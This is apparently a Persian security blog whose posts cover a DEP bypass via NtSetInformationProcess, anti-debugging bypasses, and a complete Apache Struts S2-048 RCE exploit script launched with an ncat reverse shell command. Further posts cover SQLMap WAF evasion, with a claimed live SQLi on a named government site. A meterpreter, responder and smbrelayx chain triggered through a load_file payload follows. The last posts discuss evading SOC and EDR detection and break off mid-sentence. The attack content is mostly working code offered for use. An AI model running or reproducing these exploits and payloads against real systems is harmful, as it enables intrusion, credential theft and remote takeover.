سیستم محافظتی DEP که در ویندوزهای XP SP2-Vista-7-8-10 وجود داره و برای محافظت از اجرای کد در قسمتهای پشته و توده پیاده سازی شده,این قابلیت میتونه در برابر اجرای شلکد اکسپلویت های ارسالی در اکثر موارد پیروز شه,چرا که بیشتر اکسپلویت ها شلکد خودشون رو تا زمان اجرا درون توده یا پشته نگه داری میکنند,یکی از روش های کار آمد برای دور زدن این سیستم محافظتی یکی از API های ویندوز رو برای غیرفعال سازی پروسس جاری که در حال اجرای اون هستیم,که این روش به ما اجازه میده به راحتی کنترل اجرای کد به شلکد خودمون رو برگردونیم,API ویندوزی که میتونه سیستم محافظتی DEP رو برای ما غیرفعال کنه یک تابع به نام NtSetInformationProcess() هستش که الگو شبیه کد زیر داره

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; NtSetInformationProcess( NtCurrentProcess(), // (HANDLE)-1 ProcessExecuteFlags, // 0x22 &ExecuteFlags, // ptr to 0x2 sizeof(ExecuteFlags)); // 0x4 در واقع برای غیرفعال کردن DEP پروسس شما احتیاج داریم که تابع NtSetInformationProcess() رو بهمراه ProcessInformationClass با Process-ExecuteFlags(0x22) تنظیم بشه و پارامتر ProcessInformation مقدار MEM_EXECUTE_OPTION_ENABLE(0x2) رو بگیره و این تابع API ویندوزی باید از فایلی با نام ntdll.dll استخراج بشه و تا زمانی که پروسس ما میره برای اجرا پرچمی که ازش خوانده میشه این پیغام رو داره که این پروسس مکانیزم DEP رو Off کرده و باید بدون در نظر گرفتن اجرای شلکدی خارج از Location های ضبط شده قراره اجرا بشه به این صورت از شر DEP خلاص خواهیم شد اما در فضای عملی دقیقا به چه صورت هستش این کار ما کد های مربوط به فراخوانی تابع رو به زبان اسمبلی مینویسیم و مقدار دهی میکنیم ساختار کلی Return of Oriented به این صورته

� junk
� rop gadgets to craft the stack
ESP -> function pointer (to one of the Windows API’s)
� Function parameter
� Function parameter
� Function parameter
� …
� Maybe some more rop gadgets
� nops
� shellcode
� more data on the stack

قبل از اینکه ساختار اسمبلی کد رو نشون بدم باید این نکته رو بگم که دور زدن DEP با استفاده از تابع NtSetInformationProcess() فقط نیستش و ما ۵ تکنیک دیگه برای این موضوع داریم که من در این پست NtSetInformationProcess() رو توضیح میدم بقیه روش ها در پست های بعدی این هم نموداری از بحث پشتیبانی این روش ها در ورژن های مختلف ویندوز

API / OS | XP SP2 | XP SP3 | Vista SP0 | Vista SP1 | Win 7 | Win 2003 SP1 | Win 2008

VirtualAlloc | yes | yes | yes | yes | yes | yes | yes
HeapCreate | yes | yes | yes | yes | yes | yes | yes
SetProcessDEPPolicy | no (1) | yes | no (1) | yes | no (2) | no (1) | yes
NtSetInformationProcess | yes | yes | yes | no (2) | no (2) | yes | no (2)
VirtualProtect | yes | yes | yes | yes | yes | yes | yes
WriteProcessMemory | yes | yes | yes | yes | yes | yes | yes

در اینجا ما به استفاده از تکنیک برنامه نویسی Return of Oriented به معنی چرخه برگشت به مکان اول خواهیم داشت و پرشی به سمت تابع API ویندوزی و مقدار دهی اون بر روی آدرس پروسس خود ما و برگشت به عملیات رایت شلکد و پرش به آن از بستر EIP ساختار ROP به صورت زیر هستش

Return address | آدرس برگشت به تابع شلکد
NtCurrentProcess() | تنظیم مقدار بر روی 0xFFFFFFFF
ProcessExecuteFlags | تنظیم مقدار بر روی 0x22
&ExecuteFlags | مقدار اشاره گر بر روی آدرس ثابت شلکد
sizeOf(ExecuteFlags) | تنظیم مقدار بر روی 0x4

درخت پرش بر تابع API باید چیده بشه و به صورت بالا تابع رو تنظیم کنیم و قبل از اجرای شلکد باید انجام بشه تا پروسس مکانیزم DEP رو ساپورت نکنه و اینگونه این مکانیزم برای ما دور میخوره.
http://uninformed.org/index.cgi?v=2&a=4

#Bypass Anti Debugger Methods
در بدافزارهای پیشرفته نویسنده این بدافزارها برای اینکه بدافزار دیباگ و مورد بررسی قرار نگیرد روش هایی رو بکار میگیرد که به برخی از اونها میپردازیم.

 

IsDebuggerPresent

یکی از روش های دیده شده استفاده از تابع IsDebuggerPresent هستش که از kernel32.dll استخراج شده و پارامتری نمیگیرد و در صورتی که دیباگری بر روی پروسس اتچ بشود این تابع مقدار 1 و در صورتی که پروسسی بر روی پروسس اتچ نباشد مقدار 0 رو برمیگردونه که از همین موضوع برنامه نویسان بدافزار استفاده و جلوی دیباگ کردن بدافزار رو میگیرند,به کد اسمبل زیر دقت کنید

mov eax,dword ptr fs:[18] mov eax,dword ptr ds:[eax+30] mov byte ptr ds:[eax+2],0

این کد در واقع از آدرس TIB(Thread Information Block) که درون TIB آفست 0x18 در ثبات FS قرار داره رو بارگذاری میکنه از اونجا که کد در آدرس PEB(Process Environment Block) که معمولا در آفست 0x30 در ثبات FS قرار داره رو در TIP بارگذاری میکند دستور سوم در واقع EAX رو با مقدار BeingDebugged که یک عضو از PEB هست و آفست 0x2 در PEB دارد اگر یک دیباگر به پروسس ضمیمه باشه این بایت به 0x1 تنظیم میشود یک راه ساده دور زدن این متد توسط دایمان گمز از Immunity ارائه شد,و یک کد یک خطی پایتون که میتونه در یک PyCommand قرار بگیره و یا از شل پایتون در دیباگر Immunity اجرا بشه

Open Immunity > Log window
1.imm.writeMemory(imm.getPEBaddress() + 0x2, “\x00”) این کد در واقع مقدار BeingDebugged رو در TEB صفر میکنه و حالا هر برنامه مخربی که از این روش استفاده میکنه تصور میکنه که دیباگری ضمیمه نشده است.

Process32First

روش دیگه ای که برنامه نویسان بدافزار استفاده میکنند اینه که میان تمام پروسس های یک سیستم رو جستجو میکنند برای پیدا کردن پروسس دیباگر مثل ImmunityDebugger.exe که به عنوان یک پروسس دیده میشه این کار رو با استفاده از فراخوانی تابع Process32First برای پیدا کردن اولین پروسس اجرا شده استفاده و در ادامه Process32Next برای دیدن پروسس های بعدی و تا آخر استفاده میشن برای شناسایی پروسس ها و به دنبال اون پروسس دیباگر هر دوی این تابع ها یک پرچم از نوع BOOL رو برمیگردونند که به کسی که فراخوان بشون داده بگن که تابع موفق بوده در انجام کارش یا خیر بنابر این با تنظیم کردن EAX به مقدار 0 وقتی تابع ها بازگشت میکنند نتیجه خنثی شده و ما میتونیم این تکنیک طراح بدافزار رو دور بزنیم این کار با استفاده از دیباگر قدرتمند Immunity قابل انجام هست

Process2first = imm.getAddress(“kernel32.Process32FirstW”) Process32next = imm.getAddress(“kernel32.Process32NextW”) function_list = [Process32first, Process32next] patch_bytes = imm.Assemble(“SUB EAX, EAX\nRET”) for address in function_list: opcode = imm.disasmForward(address, nlines = 10) imm.writeMemory(opcode.address, patch_bytes) خب ما در ابتدا هر دو تابع که برای بازپرسی پروسس ها استفاده میشوند رو پیدا میکنیم و اون هارو در یک لیست قرار میدیم برای اینکه بتونیم اون هارو تکرار کنیم در چرخه for خودمون بعد مقدار 0 رو درون EAX قرار میدیم و که در واقع مقدار بازگشتی رو مساوی با 0 قرار داده باشیم و در ادامه ما تا عمق ۱۰ دستور رو درون تابع Process32First/Next تبدیل به کد اسمبلی میکنیم اینکار واسه اینه که برخی بدافزارهای پیشرفته در واقع بایت های اولیه این تابع هارو چک میکنند تا مطمئن بشن که مهندسان معکوس مثل ما سر تابع رو تغییر نداده باشن و ما برای اینکار تا عمق ۱۰ دستور رو تغییر میدیم بنابرین اگر بدافزار توابع رو چک کنه متوجه ما میشه اما این فقط برای همان لحظه است و در ادامه داستان ما بایت هایی که به اسمبل وصل کردیم رو به تابع وصل میکنیم و هر دوی این توابع بازگشت اشتباه خواهد داشت و اصلا مهم نیست که چطور فراخوانی شده باشن:)

این فقط دو مثال بود از بینهایت تاکت های زد دیباگ…

https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_peb
https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_teb
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx

Wikipedia

Win32 Thread Information Block – Wikipedia

In computing, the Win32 Thread Information Block (TIB) is a data structure in Win32 on x86 that stores information about the currently running thread….

#Apache struts RCE
چگونه فریمورک Struts آپاچی که یک فریمورک MVC هستش رو تونستند مورد حملات Remote Code Execution قرار بدهند…

خب اول باید نکاتی رو توضیح بدم سازنده های وب سرور Apache فریمورکی رو برای مدیریت وبسایت ها طراحی کردند که به صورت MVC اداره و کار میکنه و نکته جالب این ماجرا این هستش که این فریمورک فرمت خواص خودش رو داره به نامه action که با استفاده از Synax زبان جاوا قالب رفتاری رو برای خودش ترتیب داده که از اون با نام Object-Graph Navigation Language (OGNL) یاد میشه که بیس این ساختار با جاوا هست اما تفاوت های درونش مفهوم پیدا کرده نکته ظریف دیگری که باید بدونیم اینه که این OGNL پلاگین هایی هم براش طراحی و ساخته شده که در آخر پست لینکشو میزارم ببینید داستان آسیب پذیری های apache struts از آنجایی شروع شد که بر روی این ساختار یعنی OGNL با استفاده از تابع های متعددی که داره هکرها تونستند در Request هایی که به سمت این فریمورک میرفته کد به همون ساختاری که عرض کردم تزریق کنند که خب همین موضوع که فریمورک این توابع رو بدون اینکه فیلتری براش باشه میخوند و اجرا میکرد این بی بند و باری در فیلتر نکردن توابع موجب نفوذ و اجرای کد شد یک نمونه رو من نشون و تشریح میکنم

Open terminal
1.touch exploit_S2-048.py && nano exploit_S2-048.py Added

#!/usr/bin/python # -*- coding: utf-8 -*-
import requests
def exploit(url, cmd): print(“[+] command: %s” % cmd)
payload = “%{” payload += “(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).” payload += “(#_memberAccess?(#_memberAccess=#dm):” payload += “((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).” payload += “(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).” payload += “(#ognlUtil.getExcludedPackageNames().clear()).” payload += “(#ognlUtil.getExcludedClasses().clear()).” payload += “(#context.setMemberAccess(#dm)))).” payload += “(@java.lang.Runtime@getRuntime().exec(‘%s’))” % cmd payload += “}”
data = { “name”: payload, “age”: 20, “__checkbox_bustedBefore”: “true”, “description”: 1 }
headers = { ‘Referer’: ‘http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster&#8217; } requests.post(url, data=data, headers=headers)
if __name__ == ‘__main__’: import sys
if len(sys.argv) != 3: print(“python %s <url> <cmd>” % sys.argv[0]) sys.exit(0)
print(‘[*] exploit Apache Struts2 S2-048’) url = sys.argv[1] cmd = sys.argv[2] exploit(url, cmd) Save & Close
2.ncat -v -l -p 4444 Open new tab
3.python exploit_S2-048.py http://(TARGET):8080/2.3.15.1-showcase/integration/saveGangster.action “ncat -e /bin/bash (WAN) 4444” همونطور که میبینید در این اکسپلویت در قسمت referer URI دیده میشه که قسمتی از ساختار این فریمورک هست و دارای پارامترهای POST هستش که در قسمت data پارامتر هارو میتونید ببینید تزریق کدی با فرمت OGNL در یکی از این پارامتر ها صورت گرفته با نام name که در کدی که در قسمت payload میبینید تابعه ای برای دادن دسترسی به کاربر بوده و در ادامه Action تعریف و به اون action دو تابع دیگه include میشه و در نهایت از جاوا runtime استفاده و کد مورد نظر هکر اجرا خواهد شد,با این مضوعات ما متوجه خواهیم شد که فریمورک هایی که ساخته میشن این هوشمندی رو میتونن نداشته باشن که توابع خطرناکی که بصورت آنگاه آنگاه موجب رسیدن هکر به محیط هایی مانند java runtime مجرب خواهند شد تا هکر بتونه RCE خودش رو به فریمورک بزنه و دسترسی از سرور بگیره برای این چنین حملات باید به ساختار فریمورک ها بسیار دقت کرد.

#CVE-2017-9791
https://struts.apache.org/plugins/
https://struts.apache.org/core-developers/action-configuration.html

#Imam Hossein
بسیاری از زمان من و شما درگیر مباحث و موضوعات مختلف رایانه ایست میخوام به موضوعی بسیار مهمتر از اینا یعنی امام حسین علیه السلام در حد سواد کمم بپردازم.

به نظر من امام حسین علیه السلام موضوعی رو به انسان ها نشان داد که درون هر انسانی بود اما لذت های دنیوی و موضوعاتی که فقط در این دنیا هست نمیزاره ببینیم برخی ها اعتقادی ندارن از بیخ به خیلی از منطق های شیعه اما از اونجا که به دنیا امدن انسان ها و جور بودن بسیاری از منطق های این دنیا با نظام ساختاری بدن و نیاز های ما که اگر به گفته دانشمندان یک سانت غیر از اینی بود که الان هست امکان زندگی برای ما انسان ها وجود نداشت از ژنتیک منظم بدن که اگر یکیش اشتباه بود امکان داشت چشمتون پشته سرمون بود یا دست هامون به سمت برعکس الانش تا میشد,پس اگر پارامتر های بسیاری در کنار هم به گونه ای که ما انسان ها میتونیم راحت زندگی کنیم به وجود امده اتفاقی نیست به قول خارجی ها BigBang نیست از این منطق میشه خدارو پیدا کرد و نشانه های خدا اونجاهایی هست که منطق زمین و مادی به هم ریخته میشه مثلا ما انسان ها اعتقاد داریم خدا همه کار از دستش بر میاد پس کارهایی که منطق مادی مارو به هم بریزه البته این دلیل نسبی هست چون شیاطین هم میتونند کارهای ماورا مادی انجام دهند و تشخیص اینکه اون نشانه الهی بوده یا غیر از اون کاره افراد متخصص در ادیان هست برای اینکه کامل درک کنید به آیاتی در قرآن که خدا راجب تخت ملکه صبا اشاره کرده رو برید بخونید که پیامبر سلیمان میگه کی تخت این ملکه رو قبل از اینکه برسه میتونه بیاره یکی از اجنه اسیر میگه من تا برسه میارم و یکی از اهل کتاب که به افراد دین مدار هستند گفته میشده میگه قبل از اینکه پلک بزنید میارم پس اهل کتاب قدرتشون از اهل شیطان بالاتره اما اون ها هم کارهایی میتونند کنند بگذریم پس تا اینجای کار خدارو میشه با منطق قبول کرد و نشانه های خدارو,اما خدا در جایگاهی قرار داره که هر انسانی نمیتونه ارتباط لمس شده از لحاظ حضور داشته باشه چرا که ما انسان ها خیلی هامون آلوده به ظلم هستیم که اگه نبودیم خدا با ما هم همونطور که با پیامبراش ارتباط میگیره ارتباط خواهد گرفت اگر مصلحت باشه نمونش هم بوده در زمان های قدیم پس نتیجه میگیریم چون ما انسان های پاکی نیستیم نمیتونیم مستقیم ارتباط بگیریم اما مناسک درست رو انجام نمیدیم و جواب عکس میده میخوام به سمت خدا بریم میرم تو دیوار چون ما راه شناس نیستم اینجا پیامبران امدن راهو نشون دادن اما بعد از پیامبران امامان آمدند تا به انچکه پیامبران بیان میکردند عمل کنند و عملی نشان دهند در این میان امامی در میان امام ها بود که بسیار عاشقانه راه خدارو به انسان ها نشون داد و بسیار عملی …ای خدا…این امام اینکارو با نهایت هنر انجام داد تا انسان ها راه خدارو خیلی بهتر درک کنند راه خدا دو ویژگی داره البته این برداشته منه بیسواده سمت و جهت راه خدا رو باید با عقل انتخاب کرد اما این راهو جز با دل نمیشه رفت چراکه خیلی جاهای این راه آدم هارو مقابل عقل میزاره البته به ظاهر چراکه در باطن کاملا هم عقلانی هستش,منظورم اینه امام حسین به ظاهر در زمان خودش اینطور دیده میشد کارش که غیرعقلانیه اما در باطن کاره بقیه انسان ها غیرعقلانی بود و امام حسین این راهو با دل رفت…ما هم یاد بگیریم در مسیر خدا با دل بریم وقتی امام حسین علیه السلام رو دیدید شکر کنید که این امام عشق بازی با خدارو یاده ما داد و یادمون نره اینکه من یه شیعه که نه در اون حد پاک نیستم اما یه محبم و امام های به این زیبایی دارم افتخار میکنم,افتخار میکنم که استوره من بتمن دروغین و بسیاری از شخصیت ها نیست,کسیه که واقعی و بسیار کامل تر از هر شخصیت تخیلیه قدر بدونید تا حسرت نخورید اون دنیا…

#SQLi Detecting with SQLMap
در این پست به یکی از ابزارهای کامل که مربوط به شناسایی و اکسپلویت آسیب پذیری SQLi هستش به صورت تخصصی بپردازیم.

2K

edited

[7:21:59 PM]-

> Photo

بسیار خب در قدم اول صحبت هام میخوام در مورد خود ابزار SQLMap توضیحاتی بدم و بعد وارد فضای تخصصی این ابزار بشیم نکته اول اینه جالبه بدونید آسیب پذیری SQLi بخاطر منطقی که در خودش داره بسیار رخ میده اون منطق چیه اینکه مادامی که یک وب اپیلیکیشن میتونه به دیتابیس Query بزنه و درخواست اطلاعات کنه یک مهاجم هم میتونه اینکار رو کنه اما نکته ای که وجود داره اینه که مکانیزم هایی وجود دارند که اجازه رسیدن پایلود ارسالی مهاجم به دیتابیس رو نمیدن این مکانیزم ها بسیارند برای نمونه WAF-IPS/IDS-Web Plugins-CDN-Web Server Configs خب تا اونجا که سواد من قد میده توصیف میکنم براتون,هر کدوم از این مکانیزم ها رفتار خاص خودشون رو دارن برای مقابله با تزریق دستورات SQL مثلا WAF ها با استفاده از بلک لیستی که در Core خودشون دارند درون Request هارو بررسی میکنند و اگر از محوطه خارج از تعریف ادمین Query دیده بشه رو بلاک میکنند و Error 400 به بالا میدن به کسی که ارسال Reguest داشته یا مثلا برخی سایت ها که میدونند Thread های برقرار کننده در طول ۲۴ ساعت مثلا بالای 10 تا هم زمان نیست یا بالا 100 Request بیشتر نمیشه که این موضوع واسه سایت هایی مانند بانک که ۲۴ ساعت به دیتابیس Request زده میشه از طرف کاربرهای بانک صدق نمیکنه اما در برخی سایت ها مثل atreyas.ir دیده شده این نوع کانفیگ سرور اما نکته دیگه ای که وجود داره یک سایت میتونه چند مکانیزم رو باهم داشته باشه مثلا هم CDN بزاره هم پلاگین و اپ های Detector و هم سرورش رو کانفیگ کنه یک هکر باید رفتارهای این مکانیزم هارو دقیق بشناسه تا بر اساس اینها پایلود خودش رو طراحی کنه برای مثال پارسال بنده از سایت nsa.gov آسیب پذیری SQLi کشف کردم که باعث شد به دیتابیس دسترسی پیدا کنم اما به محض اینکه ما دوتا Table رو دانلود کردیم سایت ارتباط خودش رو با دیتابس قطع کرد که نشون میداد حمله ما لو رفته فیلم شو تو اینستاگرام تیم گذاشتم آدرس آسیب پذیری این بوده

https://www.nsa.gov/search/?q=USS Liberty&media=page&page=15

نوع آسیب پذیری هم SQLi Blind Base بوده نکته جالبی که تو این تارگت بود اولا دیتابیس از نوع Mssql بوده و یک WAF به نام Incapsula که کلا nsa از این برند استفاده میکنه خب سرور محدودیت ارسال Query نداشت که این موضوع کار مارو خیلی راحت کرده بود اگه میذاشت باید با پروکسی لیست پنتست انجام میشد اما برای بایپس کردن خود WAF ما اومدیم تکنیک های Obfuscation مختلفی رو بر اساس آرایشی که سایت و دیتابیس داشت تست زدیم در مدت ۴ روز تونستیم با استفاده از ابزار SQLMap سرویس WAF رو دور بزنیم همونطور که میدونید SQLMap اکثریت 90% دستورات پیشفرض Query های انواع دیتابیس هارو داره که هر ۶ تا متد رو هم پشتیبانی میکنه به خط فرمان –technique=TECH default “BEUSTQ” دقت کنید میتوند خودتون تعیین کنید که با چه متدی عملیات تست آسیب پذیری رو انجام بده اما امکان دیگه ای که داره داشتن Tamper های تا به امروز Public شده هستش که به شما بر اساس نوع دیتابیس و نسخه اون میگه چه نوع پایلودی موجب شد تا اون ورژن ها دور بخورند هکر با بررسی این Tamper Script ها میتونه متوجه بشه که دقیقا چه نوع تکنیک Obfuscation به دیتابیس مورد نظر سازگار تره اما این کافی نیست چون اون پایلود پخش و عمومی شده دیگه کار نخواهد کرد مگر در موارد کوچیک اما اگر ما بتونیم با آرایش خاص این Tamper ها آرایش پایلود جدیدی رو به وجود بیاریم چی؟ خب این جای تست داره در نتیجه ما با تلفیق Tamper ها میتونیم کارهایی بکنم مثلا Tamper(randomcase) میاد و پایلودهارو به صورت تصادفی کارکترهارو کوچیک و بزرگ میکنه یا مثلا Tamper(percentage) که برای آرایش ASP هست میاد پایلود رو با کاراکتر % مخلوط میکنه به این صورت

 

خب پس ما با استفاده از تلفیق این Tamper ها میتونیم تکنیک های OBF جدیدی رو بسازیم بنده نمیتونم نوع پایلودی که nsa رو دور زد رو بگم چراکه بر روی بانک های ایرانی و تارگت های این چنینی عمل میکنه و موجب حملاتی میشه که بنده رو اون دنیا بازخواست خواهند کرد بابته دادنش بخاطر همین من روند کار رو ترسیم میکنم,نکته بعدی که جالبه بگم اینه که SQLMap نمیتونه در برخی موارد کارساز باشه چراکه برخی آرایش های تابع های خود سایت و سرور موجب میشه که مثلا ما دستورات مربوط به شناسایی Table هارو نتونیم بزنیم اما دستور خواندن یک خانه از Column هارو که میزنیم عمل میکنه به این میگن پایلود ریزی مرحله به مرحله از اونجا که SQLMap پایلود یکسان برای هر مرحله میزنه نمیتونه این روش رو پیاده کنه اینجا ما باید بصورت دستی این تزریق رو انجام بدیم که باز همون داستان Tamper ها رو هم میشه روی این روش پیاده کرد در موارد دیگه هم این بحث سازگار هست مانند زمانی که محدودیت Thread گذاشتن روی Webserver اینجا هم باز روش مرحله به مرحله جوابگو هست اما نکات دیگه ای هم که جایی تو نت گیرتون نمیاید و ایرانی جماعت به کسی یاد نمیده رو هم کمی توضیح میدم مثلا بحث Agent ها که مثلا یک سایت داریم نمیتونیم WAF رو دور بزنیم و یا IPS/IDS سرور رو اینجا امکانش هست که با تغییر Agent به مثلا Agent mobile بتونیم سرویس های دفاعی رو دور بزنیم,بحث دیگه راجب آسیب پذیری SQLi موضوع OOB یا به صورت کامل بخوام بگم Out of band یعنی خارج از مسیر اشاره کنم این یعنی چی یعنی ما اگر تابع آسیب پذیری رو کشف کردیم و تزریق رو هم انجام دادیم و دقت داشته باشید به شرط باز بودن تابع USER_NAME() که میتونه کاربر اضافه کنه که این کار رو با استفاده از EXECUTE AS انجام میده که همین موضوع باعث میشه هکر بتونه OOB بزنه یعنی به واسطه زبان SQL پرش کنه به خط فرمان خود سرور و پایلودی رو دانلود و اجرا کنه و موجب گرفتن دسترسی از سرور خواهد شد به بهانه این پست یکی از تاکتیک های OOB رو آموزش میدم خب اول از همه ما بایت URI آسیب پذیر رو پیدا کنیم و بعد با استفاده از ابزار impacket میتونیم پایلودی رو ساخته و لیست کردن اون در سرویس SMB و صدا کردن اون با استفاده از تکنیک OOB هستش و سرآخر دسترسی از سرور حاصل شه به دستورات زیر دقت کنید

Open terminal
1.git clone https://github.com/CoreSecurity/impacket.git && cd impacket && chmod 755 * && python setup.py install && pip install -r requirements.txt && cd ../
2.msfvenom -p windows/meterpreter/reverse_tcp LHOST=(NoIP) LPORT=443 -e x86/shikata_ga_nai -i 6 -f exe > ######.exe
3.responder -I (Interface) -rv
Open new tab
4.smbrelayx.py -h (TARGET) -e ./######.exe
Open new tab
5.msfconsole -q -x “use multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 443;set ReverseListenerBindAddress (LAN);set ExitOnSession false;set StageEncoder x86/call4_dword_xor;set EnableStageEncoding true;exploit -j”
Visit Vuln Page > Payload
(Website)/news.php?id=-90’union+select+1,load_file(“\\\\(NoIP)\\aa”)%23&Submit=Submit#

دستور اول ابزار Impacket رو دانلود و نصب میکنیم خط دوم پایلود میسازیم خط سوم ابزار Responder رو برای بدست آوردن رمز خود سرور در حالت آماده باش قرار میگیره خط چهارم پایلود ساخته شده بر روی سرویس SMB در حالت لیست قرار میگیره و خط پنجم متاسپلویت بر روی حالت لیست قرار میگیره که دسترسی رو دریافت کنه و در قسمت Visit Vuln Page ما میایم روی سرویس SMB خودمون Request رو ارسال و همین موضوع باعث اجرای پایلود بر روی سرور هدف خواهد شد تابع load_file در دیتابیس Mysql هستش دقت کنید خب پس به این صورت میشه دسترسی از سرور گرفت و تاکتیک OOB زد بحث در مورد SQLi زیاده اما بیش از این پست رو طولانی کنیم یه سری دوستان میان میگن کتابش میکردی دیگه 🙂 امیدوارم مفید بوده باشه…
https://docs.microsoft.com/en-us/sql/t-sql/functions/current-user-transact-sql?view=sql-server-2017

#Security Operation Center (SOC)
مرکز عملیات امنیت سایبری که این روزها شده افتخار شرکت های امنیتی ایران که باش پز علمی میدهند چیه و تا چه حد کار آمده?!:)

 

خب SOC مكاني جهت مانيتورينگ و كنترل 24 ساعته ورود و خروج اطلاعات در شبكه هستش و به طور کلی هر مركزSOC به سه سطح عمده تقسيم ميشه که هر یک از این بخش ها وظایف خاصی رو بر عهده دارند .

#سطح يكم: نقطه تماس Client‌ها و مسئول پاسخ گويي به اخطارهاي دريافتي ازClient ‌هاست. در اين سطح به كليه اخطارهايي كه از پيچيدگي پايين‌تري برخوردارند، پاسخ داده ميشه.
#سطح دوم: مكمل سطح يكم هستش و مسئول پاسخ‌گويي به مشكلات پيچيده تر در سيستم‌هاي امنيتي شبكه هستش که برای اخطارهايي كه از اهميت بالايي برخوردارند، سيستم هاي سطح دوم به طور كامل درگير ميشه.
#سطح سوم: در اين سطح كارشناسان ارشد و مشاوران امنيتي شبكه قرار دارند. اين سطح در حقيقت پشتيبان دو سطح پايين‌تریه که در صورتي كه به اشكالات امنيتي در دو سطح پايين پاسخ داده نشه, كارشناسان و سيستم‌هاي اين سطح، درگير میشن و كليه تدابير امنيتي و مديريت امنيت شبكه، در اين سطح انديشيده خواهد شد.

سرویس هایی که SOC میده اینه که برای مشتری خودش دیواره آتش آموزش مباحث امنیتی و پشتیبانی آنی و سیاست های امنیتی رو برای مشتری پیاده سازی میکنه, سيستم‌هاي كشف و رفع حملات (Intrusion Detection System) و فایروال ها و سیستم مدیریت های امنیت در شبکه خصوصی و مجازی رو در برداره و همه Log هارو همیشه ثبت در دیتابیس خودش داره و در صورت نیاز مورد تحلیل قرار میگیره از سیستم های پیشرفته E Boxes که دارای زیرمجموعه های مثل Sensor های مثل IDS تا بخش Pollers ها که وضعیت داده هارو ثبت و نگه میدارند این Pollers ها حتی پینگ کردن یک آیپی رو لاگ میکنن پدر سوخته ها 🙂 حرف در مورد خود SOC زیاده که جستجو کنید میبیند اما من اینجا میخوام نکات دیگه ای رو مطرح کنم اول اینکه در سیاست هکرهای کلاه سیاه همیشه این موضوع که شما هرچقدر قالب حمله خودت رو به سمت عادی سازی روابط اون شبکه و سیستم عامل ها ببری درصد شناسایی پایین و موفقیت بالا میره نمونش حمله ایرانی ها به سازمان هایی که SOC رو اصلا اختراع کردن به نامه پروژه #APT 34 که در پایین پست لینکشو میزارم,اگه بخوام واضح تر به این موضوع بپزدازم باس اینطور بگم که ببینید بلاخره هر شبکه با هر مکانیزم و فایروالو دبدبه کب کبه ای که داره یک Policy تعریف شده واسه ارتباط خود اون کاربرها تعریف شده یا نه ؟ نمیشه گفت که کل شبکه ثابت ایستاده نخیر هرکجا که میخواد باشه با هر Policy که میخواد باشه نکته اصلی اینه که یک تعریف جامع تو کل شبکه وجود داره که امکانه تبادل ارتباطات درون اون شبکه رو میده اول از همه ما باس آرایش اون Policy رو متوجه بشیم که مثلا با برسی سابقه شرکتی که پیاده کرده و اطلاعات در مورد خود اون سیستم جامع میشه نقطه اشتراک Policy همه این سرویس هارو پیدا کرد مثل همون داستان پینگ که گفتم لاگ میکنه چون من الان میدونم مطمعن باشید بخوام اسکنی کنم با IP Spoof انجام میدم که اون Logger شیش بخوره نکته بعدی که وجود داره اینه عزیزان این سازوکارها مانند SIEM و SOC و NOC اینا به نظر من همشون حتی گنده تر از اینا هم جلوی حملات سطح بالای امروز دنیا شکست میخورن شک نکنید آسیب پذیری هایی که به خود کرنل درگیر میشن و از این فضاهای نشست میکنن بر روی سیستم که اصلا روح اون سیستم جامع خبردار نمیشه آسیب پذیری هایی مثل EternalBlue یا DobulePulsar که در قالب یک درخواست صحیح و مجاز به سمت سرور یا کلاینت میرن و به سرویس مربوطه سلامی میکنن و از اون پشت مشتای اکسپلویت بر روی سرویس SMB یک Race Condition برگزار میکنند و همینطور که اون سرویس سرگرم تماشای مسابقه این دو condition هست authentication سرویس رو اکسپلویت دور میزنه و شلکدی رو به اجرا در میاره که شکلد Obfuscate شده و Detection های اون اطراف هم متوجه نمیشن کد چی بود :))) اینطوریه حملات سطح بالا البته من خیلی ساده بیان کردم که صرفا هدفم اینه بگم این سازوکارها به اتقاد من فقط جلوی هکرهای تازه کارو میگیره نه حملات سطح بالا برای پس بجای افتخار کردن به سازکارهای خارجی شرکت های ایرانی اگر عقل داشتن نیرو پرورش در سطح بالا میدادن و خودشون Detection های روز مینوشتن که خب از ایرانیا این چیزا بعیده ایرانیارو شما بزارید اندازه شرکت Kaspersky فقط پرستیج تو خالی بگیرن,به زودی این تیم به امر این شرکت ها خاتمه خواهد داد تا قراردادهای 10 میلیاردیو کسانی که هیچی از علم امنیت سرشون نمیشه بالا نکشن و به ریش امسال ما هم بخندند.
https://www.cybereason.com/how-it-works
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

#Code Injection to Process
دراین پست راجب دور زدن یکی از مکانیزم های شناسایی SOC با استفاده از تاکتیک تزریق کد به یک پراسس رو براتون تشریح کنم…

خب اول از همه این نکته رو بگم که سیستم های شناسایی مبتنی بر سیستم عامل مثل Portection ها و Detection های ساخته ساخته شده شرکت هایی مانند Cybereason و امثالهم در ساختار و API رفتاری خودشون میان به Execution های یک سیستم عامل توجه میکنند و مدام کدهایی که در Memory وجود داره رو برسی میکنند با Engine رفتار شناسی خودشون خب در چنین فضای شما حتی اگر پایلودی رو حالا از طریق آسیب پذیری یا بصورت Trojan به مرحله Execute در سیستم قربانی برسونید و به فرض اینکه پایلود شما کاملا FUD شده باشه باز احتمال شناسایش بالاس چرا که در اجرای یک پراسس مستقل حالا درقالب یک برنامه توجیه باز مورد توجه مکانیزم هایی که بالا اسم بردم خواهد شد خب در چنین شرایطی نظرتون چیه کاری که هدف ما هست که روی سیستم قربانی پیاده بشه رو از طریقه آسیب پذیری مستقیم روی یک پراسس در حال اجرا تزریق کنیم و در جریان کار اون برنامه مثلا Nopad++ کد ما هم اجرا و کاری که براش تعریف شده رو انجام بده ؟ میدونم که نظرتون مثبته چراکه با این کار شما هیچ ردی از خود ندارید که بخواد برسی بشه و موجب لو رفتن شما بشه البته این کار در مواقعی که هدف ما اکسس هست فرق هایی داره و داستان های دیگه ای پیش میاد برای فریمورک C&C ما که فعلا این ایتم محل بحث ما نیست و ما صرفا روی 